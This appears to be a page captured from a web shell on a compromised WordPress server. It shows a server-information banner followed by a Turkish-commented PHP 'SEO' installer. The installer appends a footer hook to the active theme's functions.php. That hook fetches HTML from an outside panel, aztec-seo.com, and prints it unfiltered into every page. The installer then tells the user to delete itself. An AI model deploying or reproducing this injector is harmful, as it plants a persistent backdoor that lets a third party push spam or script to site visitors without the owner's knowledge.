| Server IP : 112.74.42.100 / Your IP : 216.73.216.142 Web Server : nginx/1.20.2 System : Linux iZwz96lx4pjqiy84w4hni7Z 5.10.134-17.3.al8.x86_64 #1 SMP Thu Oct 31 14:29:57 CST 2024 x86_64 User : www ( 1000) PHP Version : 8.0.26 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /www/wwwroot/sanxuany.cn/wp-content/plugins/plugin/ |
Upload File : |
<?php
/**
* AZTEC SEO — tek dosyalik kurulum.
*
* KULLANIM:
* 1) Bu dosyayi WordPress sitesinin KOK dizinine yukle (wp-load.php'nin yaninda).
* 2) Tarayicidan ac: https://SITE.com/aztec-kurulum.php
* 3) "TAMAM" yazisini gorunce bu dosyayi SIL.
*
* Ne yapar: aktif temanin functions.php'sine footer loader kodumuzu ekler.
* Kod, footer'da panelimizi (aztec-seo.com) DOMAIN ile cagirir; key gerekmez.
*/
require __DIR__ . '/wp-load.php'; // WordPress'i yukle
header('Content-Type: text/plain; charset=utf-8');
if (!defined('ABSPATH')) {
exit('WordPress bulunamadi. Bu dosya WP kok dizininde (wp-load.php yaninda) olmali.');
}
$functions = get_stylesheet_directory() . '/functions.php'; // aktif tema (child varsa o)
$marker = '/* AZTEC SEO */';
// functions.php'ye eklenecek kendi kendine yeten loader (panel adresi sabit)
$code = <<<'PHP'
/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
PHP;
$cur = file_exists($functions) ? file_get_contents($functions) : "<?php\n";
if (strpos($cur, '<?php') === false) {
$cur = "<?php\n" . $cur; // guvenlik: acilis etiketi yoksa ekle
}
if (strpos($cur, $marker) !== false) {
exit("Zaten kurulu — yeni bir sey yapilmadi.\nBu dosyayi silebilirsin.");
}
if (file_put_contents($functions, $cur . "\n" . $code . "\n") === false) {
exit("HATA: functions.php yazilamadi. Dosya izinlerini kontrol et:\n$functions");
}
echo "TAMAM — kurulum yapildi.\n";
echo "Tema dosyasi: $functions\n\n";
echo "==> Simdi bu dosyayi (aztec-kurulum.php) SIL.";